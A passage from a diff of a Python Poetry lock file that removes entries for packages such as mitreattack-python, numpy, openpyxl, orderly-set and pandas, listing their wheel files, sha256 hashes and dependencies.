{file = "markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:f3e98bb3798ead92273dc0e5fd0f31ade220f59a266ffd8a4f6065e0a3ce0523"},
|
||||
{file = "markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5678211cb9333a6468fb8d8be0305520aa073f50d17f089b5b4b477ea6e67fdc"},
|
||||
{file = "markupsafe-3.0.3-cp314-cp314t-win32.whl", hash = "sha256:915c04ba3851909ce68ccc2b8e2cd691618c4dc4c4232fb7982bca3f41fd8c3d"},
|
||||
{file = "markupsafe-3.0.3-cp314-cp314t-win_amd64.whl", hash = "sha256:4faffd047e07c38848ce017e8725090413cd80cbc23d86e55c587bf979e579c9"},
|
||||
{file = "markupsafe-3.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:32001d6a8fc98c8cb5c947787c5d08b0a50663d139f1305bac5885d98d9b40fa"},
|
||||
{file = "markupsafe-3.0.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:15d939a21d546304880945ca1ecb8a039db6b4dc49b2c5a400387cdae6a62e26"},
|
||||
{file = "markupsafe-3.0.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:f71a396b3bf33ecaa1626c255855702aca4d3d9fea5e051b41ac59a9c1c41edc"},
|
||||
{file = "markupsafe-3.0.3-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0f4b68347f8c5eab4a13419215bdfd7f8c9b19f2b25520968adfad23eb0ce60c"},
|
||||
{file = "markupsafe-3.0.3-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e8fc20152abba6b83724d7ff268c249fa196d8259ff481f3b1476383f8f24e42"},
|
||||
{file = "markupsafe-3.0.3-cp39-cp39-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:949b8d66bc381ee8b007cd945914c721d9aba8e27f71959d750a46f7c282b20b"},
|
||||
{file = "markupsafe-3.0.3-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:3537e01efc9d4dccdf77221fb1cb3b8e1a38d5428920e0657ce299b20324d758"},
|
||||
{file = "markupsafe-3.0.3-cp39-cp39-musllinux_1_2_riscv64.whl", hash = "sha256:591ae9f2a647529ca990bc681daebdd52c8791ff06c2bfa05b65163e28102ef2"},
|
||||
{file = "markupsafe-3.0.3-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:a320721ab5a1aba0a233739394eb907f8c8da5c98c9181d1161e77a0c8e36f2d"},
|
||||
{file = "markupsafe-3.0.3-cp39-cp39-win32.whl", hash = "sha256:df2449253ef108a379b8b5d6b43f4b1a8e81a061d6537becd5582fba5f9196d7"},
|
||||
{file = "markupsafe-3.0.3-cp39-cp39-win_amd64.whl", hash = "sha256:7c3fb7d25180895632e5d3148dbdc29ea38ccb7fd210aa27acbd1201a1902c6e"},
|
||||
{file = "markupsafe-3.0.3-cp39-cp39-win_arm64.whl", hash = "sha256:38664109c14ffc9e7437e86b4dceb442b0096dfe3541d7864d9cbe1da4cf36c8"},
|
||||
{file = "markupsafe-3.0.3.tar.gz", hash = "sha256:722695808f4b6457b320fdc131280796bdceb04ab50fe1795cd540799ebe1698"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "mdurl"
|
||||
version = "0.1.2"
|
||||
@@ -550,157 +320,6 @@ files = [
|
||||
{file = "mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "mitreattack-python"
|
||||
version = "5.3.0"
|
||||
description = "MITRE ATT&CK python library"
|
||||
optional = false
|
||||
python-versions = "<4.0,>=3.11"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "mitreattack_python-5.3.0-py3-none-any.whl", hash = "sha256:1087dbf3ffffc31f4db196104fb099d4d12a2326ebdc7a310d212afb8895b420"},
|
||||
{file = "mitreattack_python-5.3.0.tar.gz", hash = "sha256:ee28a4957224266e27bd7e420adbac5be0c94c9500e0bbe77b6d3b81ef545c89"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
colour = ">=0.1.5"
|
||||
deepdiff = ">=6.6.0"
|
||||
drawsvg = ">=2.4.0"
|
||||
loguru = ">=0.6.0"
|
||||
Markdown = ">=3.5"
|
||||
numpy = ">=1.26.1"
|
||||
openpyxl = ">=3.1.2"
|
||||
pandas = ">=2.1.1"
|
||||
Pillow = ">=10.1.0"
|
||||
pooch = ">=1.7.0"
|
||||
python-dateutil = ">=2.8.2"
|
||||
requests = ">=2.31.0"
|
||||
rich = ">=13.6.0"
|
||||
stix2 = ">=3.0.1"
|
||||
tabulate = ">=0.9.0"
|
||||
tqdm = ">=4.66.1"
|
||||
typer = ">=0.9.0"
|
||||
wheel = ">=0.41.2"
|
||||
xlsxwriter = ">=3.1.8"
|
||||
|
||||
[[package]]
|
||||
name = "numpy"
|
||||
version = "2.3.5"
|
||||
description = "Fundamental package for array computing in Python"
|
||||
optional = false
|
||||
python-versions = ">=3.11"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "numpy-2.3.5-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:de5672f4a7b200c15a4127042170a694d4df43c992948f5e1af57f0174beed10"},
|
||||
{file = "numpy-2.3.5-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:acfd89508504a19ed06ef963ad544ec6664518c863436306153e13e94605c218"},
|
||||
{file = "numpy-2.3.5-cp311-cp311-macosx_14_0_arm64.whl", hash = "sha256:ffe22d2b05504f786c867c8395de703937f934272eb67586817b46188b4ded6d"},
|
||||
{file = "numpy-2.3.5-cp311-cp311-macosx_14_0_x86_64.whl", hash = "sha256:872a5cf366aec6bb1147336480fef14c9164b154aeb6542327de4970282cd2f5"},
|
||||
{file = "numpy-2.3.5-cp311-cp311-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3095bdb8dd297e5920b010e96134ed91d852d81d490e787beca7e35ae1d89cf7"},
|
||||
{file = "numpy-2.3.5-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8cba086a43d54ca804ce711b2a940b16e452807acebe7852ff327f1ecd49b0d4"},
|
||||
{file = "numpy-2.3.5-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:6cf9b429b21df6b99f4dee7a1218b8b7ffbbe7df8764dc0bd60ce8a0708fed1e"},
|
||||
{file = "numpy-2.3.5-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:396084a36abdb603546b119d96528c2f6263921c50df3c8fd7cb28873a237748"},
|
||||
{file = "numpy-2.3.5-cp311-cp311-win32.whl", hash = "sha256:b0c7088a73aef3d687c4deef8452a3ac7c1be4e29ed8bf3b366c8111128ac60c"},
|
||||
{file = "numpy-2.3.5-cp311-cp311-win_amd64.whl", hash = "sha256:a414504bef8945eae5f2d7cb7be2d4af77c5d1cb5e20b296c2c25b61dff2900c"},
|
||||
{file = "numpy-2.3.5-cp311-cp311-win_arm64.whl", hash = "sha256:0cd00b7b36e35398fa2d16af7b907b65304ef8bb4817a550e06e5012929830fa"},
|
||||
{file = "numpy-2.3.5-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:74ae7b798248fe62021dbf3c914245ad45d1a6b0cb4a29ecb4b31d0bfbc4cc3e"},
|
||||
{file = "numpy-2.3.5-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:ee3888d9ff7c14604052b2ca5535a30216aa0a58e948cdd3eeb8d3415f638769"},
|
||||
{file = "numpy-2.3.5-cp312-cp312-macosx_14_0_arm64.whl", hash = "sha256:612a95a17655e213502f60cfb9bf9408efdc9eb1d5f50535cc6eb365d11b42b5"},
|
||||
{file = "numpy-2.3.5-cp312-cp312-macosx_14_0_x86_64.whl", hash = "sha256:3101e5177d114a593d79dd79658650fe28b5a0d8abeb8ce6f437c0e6df5be1a4"},
|
||||
{file = "numpy-2.3.5-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8b973c57ff8e184109db042c842423ff4f60446239bd585a5131cc47f06f789d"},
|
||||
{file = "numpy-2.3.5-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0d8163f43acde9a73c2a33605353a4f1bc4798745a8b1d73183b28e5b435ae28"},
|
||||
{file = "numpy-2.3.5-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:51c1e14eb1e154ebd80e860722f9e6ed6ec89714ad2db2d3aa33c31d7c12179b"},
|
||||
{file = "numpy-2.3.5-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:b46b4ec24f7293f23adcd2d146960559aaf8020213de8ad1909dba6c013bf89c"},
|
||||
{file = "numpy-2.3.5-cp312-cp312-win32.whl", hash = "sha256:3997b5b3c9a771e157f9aae01dd579ee35ad7109be18db0e85dbdbe1de06e952"},
|
||||
{file = "numpy-2.3.5-cp312-cp312-win_amd64.whl", hash = "sha256:86945f2ee6d10cdfd67bcb4069c1662dd711f7e2a4343db5cecec06b87cf31aa"},
|
||||
{file = "numpy-2.3.5-cp312-cp312-win_arm64.whl", hash = "sha256:f28620fe26bee16243be2b7b874da327312240a7cdc38b769a697578d2100013"},
|
||||
{file = "numpy-2.3.5-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:d0f23b44f57077c1ede8c5f26b30f706498b4862d3ff0a7298b8411dd2f043ff"},
|
||||
{file = "numpy-2.3.5-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:aa5bc7c5d59d831d9773d1170acac7893ce3a5e130540605770ade83280e7188"},
|
||||
{file = "numpy-2.3.5-cp313-cp313-macosx_14_0_arm64.whl", hash = "sha256:ccc933afd4d20aad3c00bcef049cb40049f7f196e0397f1109dba6fed63267b0"},
|
||||
{file = "numpy-2.3.5-cp313-cp313-macosx_14_0_x86_64.whl", hash = "sha256:afaffc4393205524af9dfa400fa250143a6c3bc646c08c9f5e25a9f4b4d6a903"},
|
||||
{file = "numpy-2.3.5-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9c75442b2209b8470d6d5d8b1c25714270686f14c749028d2199c54e29f20b4d"},
|
||||
{file = "numpy-2.3.5-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:11e06aa0af8c0f05104d56450d6093ee639e15f24ecf62d417329d06e522e017"},
|
||||
{file = "numpy-2.3.5-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:ed89927b86296067b4f81f108a2271d8926467a8868e554eaf370fc27fa3ccaf"},
|
||||
{file = "numpy-2.3.5-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:51c55fe3451421f3a6ef9a9c1439e82101c57a2c9eab9feb196a62b1a10b58ce"},
|
||||
{file = "numpy-2.3.5-cp313-cp313-win32.whl", hash = "sha256:1978155dd49972084bd6ef388d66ab70f0c323ddee6f693d539376498720fb7e"},
|
||||
{file = "numpy-2.3.5-cp313-cp313-win_amd64.whl", hash = "sha256:00dc4e846108a382c5869e77c6ed514394bdeb3403461d25a829711041217d5b"},
|
||||
{file = "numpy-2.3.5-cp313-cp313-win_arm64.whl", hash = "sha256:0472f11f6ec23a74a906a00b48a4dcf3849209696dff7c189714511268d103ae"},
|
||||
{file = "numpy-2.3.5-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:414802f3b97f3c1eef41e530aaba3b3c1620649871d8cb38c6eaff034c2e16bd"},
|
||||
{file = "numpy-2.3.5-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:5ee6609ac3604fa7780e30a03e5e241a7956f8e2fcfe547d51e3afa5247ac47f"},
|
||||
{file = "numpy-2.3.5-cp313-cp313t-macosx_14_0_arm64.whl", hash = "sha256:86d835afea1eaa143012a2d7a3f45a3adce2d7adc8b4961f0b362214d800846a"},
|
||||
{file = "numpy-2.3.5-cp313-cp313t-macosx_14_0_x86_64.whl", hash = "sha256:30bc11310e8153ca664b14c5f1b73e94bd0503681fcf136a163de856f3a50139"},
|
||||
{file = "numpy-2.3.5-cp313-cp313t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1062fde1dcf469571705945b0f221b73928f34a20c904ffb45db101907c3454e"},
|
||||
{file = "numpy-2.3.5-cp313-cp313t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ce581db493ea1a96c0556360ede6607496e8bf9b3a8efa66e06477267bc831e9"},
|
||||
{file = "numpy-2.3.5-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:cc8920d2ec5fa99875b670bb86ddeb21e295cb07aa331810d9e486e0b969d946"},
|
||||
{file = "numpy-2.3.5-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:9ee2197ef8c4f0dfe405d835f3b6a14f5fee7782b5de51ba06fb65fc9b36e9f1"},
|
||||
{file = "numpy-2.3.5-cp313-cp313t-win32.whl", hash = "sha256:70b37199913c1bd300ff6e2693316c6f869c7ee16378faf10e4f5e3275b299c3"},
|
||||
{file = "numpy-2.3.5-cp313-cp313t-win_amd64.whl", hash = "sha256:b501b5fa195cc9e24fe102f21ec0a44dffc231d2af79950b451e0d99cea02234"},
|
||||
{file = "numpy-2.3.5-cp313-cp313t-win_arm64.whl", hash = "sha256:a80afd79f45f3c4a7d341f13acbe058d1ca8ac017c165d3fa0d3de6bc1a079d7"},
|
||||
{file = "numpy-2.3.5-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:bf06bc2af43fa8d32d30fae16ad965663e966b1a3202ed407b84c989c3221e82"},
|
||||
{file = "numpy-2.3.5-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:052e8c42e0c49d2575621c158934920524f6c5da05a1d3b9bab5d8e259e045f0"},
|
||||
{file = "numpy-2.3.5-cp314-cp314-macosx_14_0_arm64.whl", hash = "sha256:1ed1ec893cff7040a02c8aa1c8611b94d395590d553f6b53629a4461dc7f7b63"},
|
||||
{file = "numpy-2.3.5-cp314-cp314-macosx_14_0_x86_64.whl", hash = "sha256:2dcd0808a421a482a080f89859a18beb0b3d1e905b81e617a188bd80422d62e9"},
|
||||
{file = "numpy-2.3.5-cp314-cp314-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:727fd05b57df37dc0bcf1a27767a3d9a78cbbc92822445f32cc3436ba797337b"},
|
||||
{file = "numpy-2.3.5-cp314-cp314-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fffe29a1ef00883599d1dc2c51aa2e5d80afe49523c261a74933df395c15c520"},
|
||||
{file = "numpy-2.3.5-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:8f7f0e05112916223d3f438f293abf0727e1181b5983f413dfa2fefc4098245c"},
|
||||
{file = "numpy-2.3.5-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:2e2eb32ddb9ccb817d620ac1d8dae7c3f641c1e5f55f531a33e8ab97960a75b8"},
|
||||
{file = "numpy-2.3.5-cp314-cp314-win32.whl", hash = "sha256:66f85ce62c70b843bab1fb14a05d5737741e74e28c7b8b5a064de10142fad248"},
|
||||
{file = "numpy-2.3.5-cp314-cp314-win_amd64.whl", hash = "sha256:e6a0bc88393d65807d751a614207b7129a310ca4fe76a74e5c7da5fa5671417e"},
|
||||
{file = "numpy-2.3.5-cp314-cp314-win_arm64.whl", hash = "sha256:aeffcab3d4b43712bb7a60b65f6044d444e75e563ff6180af8f98dd4b905dfd2"},
|
||||
{file = "numpy-2.3.5-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:17531366a2e3a9e30762c000f2c43a9aaa05728712e25c11ce1dbe700c53ad41"},
|
||||
{file = "numpy-2.3.5-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:d21644de1b609825ede2f48be98dfde4656aefc713654eeee280e37cadc4e0ad"},
|
||||
{file = "numpy-2.3.5-cp314-cp314t-macosx_14_0_arm64.whl", hash = "sha256:c804e3a5aba5460c73955c955bdbd5c08c354954e9270a2c1565f62e866bdc39"},
|
||||
{file = "numpy-2.3.5-cp314-cp314t-macosx_14_0_x86_64.whl", hash = "sha256:cc0a57f895b96ec78969c34f682c602bf8da1a0270b09bc65673df2e7638ec20"},
|
||||
{file = "numpy-2.3.5-cp314-cp314t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:900218e456384ea676e24ea6a0417f030a3b07306d29d7ad843957b40a9d8d52"},
|
||||
{file = "numpy-2.3.5-cp314-cp314t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:09a1bea522b25109bf8e6f3027bd810f7c1085c64a0c7ce050c1676ad0ba010b"},
|
||||
{file = "numpy-2.3.5-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:04822c00b5fd0323c8166d66c701dc31b7fbd252c100acd708c48f763968d6a3"},
|
||||
{file = "numpy-2.3.5-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:d6889ec4ec662a1a37eb4b4fb26b6100841804dac55bd9df579e326cdc146227"},
|
||||
{file = "numpy-2.3.5-cp314-cp314t-win32.whl", hash = "sha256:93eebbcf1aafdf7e2ddd44c2923e2672e1010bddc014138b229e49725b4d6be5"},
|
||||
{file = "numpy-2.3.5-cp314-cp314t-win_amd64.whl", hash = "sha256:c8a9958e88b65c3b27e22ca2a076311636850b612d6bbfb76e8d156aacde2aaf"},
|
||||
{file = "numpy-2.3.5-cp314-cp314t-win_arm64.whl", hash = "sha256:6203fdf9f3dc5bdaed7319ad8698e685c7a3be10819f41d32a0723e611733b42"},
|
||||
{file = "numpy-2.3.5-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:f0963b55cdd70fad460fa4c1341f12f976bb26cb66021a5580329bd498988310"},
|
||||
{file = "numpy-2.3.5-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:f4255143f5160d0de972d28c8f9665d882b5f61309d8362fdd3e103cf7bf010c"},
|
||||
{file = "numpy-2.3.5-pp311-pypy311_pp73-macosx_14_0_arm64.whl", hash = "sha256:a4b9159734b326535f4dd01d947f919c6eefd2d9827466a696c44ced82dfbc18"},
|
||||
{file = "numpy-2.3.5-pp311-pypy311_pp73-macosx_14_0_x86_64.whl", hash = "sha256:2feae0d2c91d46e59fcd62784a3a83b3fb677fead592ce51b5a6fbb4f95965ff"},
|
||||
{file = "numpy-2.3.5-pp311-pypy311_pp73-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ffac52f28a7849ad7576293c0cb7b9f08304e8f7d738a8cb8a90ec4c55a998eb"},
|
||||
{file = "numpy-2.3.5-pp311-pypy311_pp73-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:63c0e9e7eea69588479ebf4a8a270d5ac22763cc5854e9a7eae952a3908103f7"},
|
||||
{file = "numpy-2.3.5-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:f16417ec91f12f814b10bafe79ef77e70113a2f5f7018640e7425ff979253425"},
|
||||
{file = "numpy-2.3.5.tar.gz", hash = "sha256:784db1dcdab56bf0517743e746dfb0f885fc68d948aba86eeec2cba234bdf1c0"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "openpyxl"
|
||||
version = "3.1.5"
|
||||
description = "A Python library to read/write Excel 2010 xlsx/xlsm files"
|
||||
optional = false
|
||||
python-versions = ">=3.8"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "openpyxl-3.1.5-py2.py3-none-any.whl", hash = "sha256:5282c12b107bffeef825f4617dc029afaf41d0ea60823bbb665ef3079dc79de2"},
|
||||
{file = "openpyxl-3.1.5.tar.gz", hash = "sha256:cf0e3cf56142039133628b5acffe8ef0c12bc902d2aadd3e0fe5878dc08d1050"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
et-xmlfile = "*"
|
||||
|
||||
[[package]]
|
||||
name = "orderly-set"
|
||||
version = "5.5.0"
|
||||
description = "Orderly set"
|
||||
optional = false
|
||||
python-versions = ">=3.8"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "orderly_set-5.5.0-py3-none-any.whl", hash = "sha256:46f0b801948e98f427b412fcabb831677194c05c3b699b80de260374baa0b1e7"},
|
||||
{file = "orderly_set-5.5.0.tar.gz", hash = "sha256:e87185c8e4d8afa64e7f8160ee2c542a475b738bc891dc3f58102e654125e6ce"},
|
||||
]
|
||||
|
||||
[package.extras]
|
||||
coverage = ["coverage (>=7.6.0,<7.7.0)"]
|
||||
dev = ["bump2version (>=1.0.0,<1.1.0)", "ipdb (>=0.13.0,<0.14.0)"]
|
||||
optimize = ["orjson"]
|
||||
static = ["flake8 (>=7.1.0,<7.2.0)", "flake8-pyproject (>=1.2.3,<1.3.0)"]
|
||||
test = ["pytest (>=8.3.0,<8.4.0)", "pytest-benchmark (>=5.1.0,<5.2.0)", "pytest-cov (>=6.0.0,<6.1.0)", "python-dotenv (>=1.0.0,<1.1.0)"]
|
||||
|
||||
[[package]]
|
||||
name = "packaging"
|
||||
version = "25.0"
|
||||
@@ -713,231 +332,6 @@ files = [
|
||||
{file = "packaging-25.0.tar.gz", hash = "sha256:d443872c98d677bf60f6a1f2f8c1cb748e8fe762d2bf9d3148b5599295b0fc4f"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pandas"
|
||||
version = "2.3.3"
|
||||
description = "Powerful data structures for data analysis, time series, and statistics"
|
||||
optional = false
|
||||
python-versions = ">=3.9"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "pandas-2.3.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:376c6446ae31770764215a6c937f72d917f214b43560603cd60da6408f183b6c"},
|
||||
{file = "pandas-2.3.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:e19d192383eab2f4ceb30b412b22ea30690c9e618f78870357ae1d682912015a"},
|
||||
{file = "pandas-2.3.3-cp310-cp310-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5caf26f64126b6c7aec964f74266f435afef1c1b13da3b0636c7518a1fa3e2b1"},
|
||||
{file = "pandas-2.3.3-cp310-cp310-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:dd7478f1463441ae4ca7308a70e90b33470fa593429f9d4c578dd00d1fa78838"},
|
||||
{file = "pandas-2.3.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:4793891684806ae50d1288c9bae9330293ab4e083ccd1c5e383c34549c6e4250"},
|
||||
{file = "pandas-2.3.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:28083c648d9a99a5dd035ec125d42439c6c1c525098c58af0fc38dd1a7a1b3d4"},
|
||||
{file = "pandas-2.3.3-cp310-cp310-win_amd64.whl", hash = "sha256:503cf027cf9940d2ceaa1a93cfb5f8c8c7e6e90720a2850378f0b3f3b1e06826"},
|
||||
{file = "pandas-2.3.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:602b8615ebcc4a0c1751e71840428ddebeb142ec02c786e8ad6b1ce3c8dec523"},
|
||||
{file = "pandas-2.3.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:8fe25fc7b623b0ef6b5009149627e34d2a4657e880948ec3c840e9402e5c1b45"},
|
||||
{file = "pandas-2.3.3-cp311-cp311-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b468d3dad6ff947df92dcb32ede5b7bd41a9b3cceef0a30ed925f6d01fb8fa66"},
|
||||
{file = "pandas-2.3.3-cp311-cp311-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b98560e98cb334799c0b07ca7967ac361a47326e9b4e5a7dfb5ab2b1c9d35a1b"},
|
||||
{file = "pandas-2.3.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:1d37b5848ba49824e5c30bedb9c830ab9b7751fd049bc7914533e01c65f79791"},
|
||||
{file = "pandas-2.3.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:db4301b2d1f926ae677a751eb2bd0e8c5f5319c9cb3f88b0becbbb0b07b34151"},
|
||||
{file = "pandas-2.3.3-cp311-cp311-win_amd64.whl", hash = "sha256:f086f6fe114e19d92014a1966f43a3e62285109afe874f067f5abbdcbb10e59c"},
|
||||
{file = "pandas-2.3.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:6d21f6d74eb1725c2efaa71a2bfc661a0689579b58e9c0ca58a739ff0b002b53"},
|
||||
{file = "pandas-2.3.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:3fd2f887589c7aa868e02632612ba39acb0b8948faf5cc58f0850e165bd46f35"},
|
||||
{file = "pandas-2.3.3-cp312-cp312-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ecaf1e12bdc03c86ad4a7ea848d66c685cb6851d807a26aa245ca3d2017a1908"},
|
||||
{file = "pandas-2.3.3-cp312-cp312-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b3d11d2fda7eb164ef27ffc14b4fcab16a80e1ce67e9f57e19ec0afaf715ba89"},
|
||||
{file = "pandas-2.3.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:a68e15f780eddf2b07d242e17a04aa187a7ee12b40b930bfdd78070556550e98"},
|
||||
{file = "pandas-2.3.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:371a4ab48e950033bcf52b6527eccb564f52dc826c02afd9a1bc0ab731bba084"},
|
||||
{file = "pandas-2.3.3-cp312-cp312-win_amd64.whl", hash = "sha256:a16dcec078a01eeef8ee61bf64074b4e524a2a3f4b3be9326420cabe59c4778b"},
|
||||
{file = "pandas-2.3.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:56851a737e3470de7fa88e6131f41281ed440d29a9268dcbf0002da5ac366713"},
|
||||
{file = "pandas-2.3.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:bdcd9d1167f4885211e401b3036c0c8d9e274eee67ea8d0758a256d60704cfe8"},
|
||||
{file = "pandas-2.3.3-cp313-cp313-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e32e7cc9af0f1cc15548288a51a3b681cc2a219faa838e995f7dc53dbab1062d"},
|
||||
{file = "pandas-2.3.3-cp313-cp313-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:318d77e0e42a628c04dc56bcef4b40de67918f7041c2b061af1da41dcff670ac"},
|
||||
{file = "pandas-2.3.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:4e0a175408804d566144e170d0476b15d78458795bb18f1304fb94160cabf40c"},
|
||||
{file = "pandas-2.3.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:93c2d9ab0fc11822b5eece72ec9587e172f63cff87c00b062f6e37448ced4493"},
|
||||
{file = "pandas-2.3.3-cp313-cp313-win_amd64.whl", hash = "sha256:f8bfc0e12dc78f777f323f55c58649591b2cd0c43534e8355c51d3fede5f4dee"},
|
||||
{file = "pandas-2.3.3-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:75ea25f9529fdec2d2e93a42c523962261e567d250b0013b16210e1d40d7c2e5"},
|
||||
{file = "pandas-2.3.3-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:74ecdf1d301e812db96a465a525952f4dde225fdb6d8e5a521d47e1f42041e21"},
|
||||
{file = "pandas-2.3.3-cp313-cp313t-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6435cb949cb34ec11cc9860246ccb2fdc9ecd742c12d3304989017d53f039a78"},
|
||||
{file = "pandas-2.3.3-cp313-cp313t-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:900f47d8f20860de523a1ac881c4c36d65efcb2eb850e6948140fa781736e110"},
|
||||
{file = "pandas-2.3.3-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:a45c765238e2ed7d7c608fc5bc4a6f88b642f2f01e70c0c23d2224dd21829d86"},
|
||||
{file = "pandas-2.3.3-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:c4fc4c21971a1a9f4bdb4c73978c7f7256caa3e62b323f70d6cb80db583350bc"},
|
||||
{file = "pandas-2.3.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:ee15f284898e7b246df8087fc82b87b01686f98ee67d85a17b7ab44143a3a9a0"},
|
||||
{file = "pandas-2.3.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:1611aedd912e1ff81ff41c745822980c49ce4a7907537be8692c8dbc31924593"},
|
||||
{file = "pandas-2.3.3-cp314-cp314-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6d2cefc361461662ac48810cb14365a365ce864afe85ef1f447ff5a1e99ea81c"},
|
||||
{file = "pandas-2.3.3-cp314-cp314-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ee67acbbf05014ea6c763beb097e03cd629961c8a632075eeb34247120abcb4b"},
|
||||
{file = "pandas-2.3.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c46467899aaa4da076d5abc11084634e2d197e9460643dd455ac3db5856b24d6"},
|
||||
{file = "pandas-2.3.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:6253c72c6a1d990a410bc7de641d34053364ef8bcd3126f7e7450125887dffe3"},
|
||||
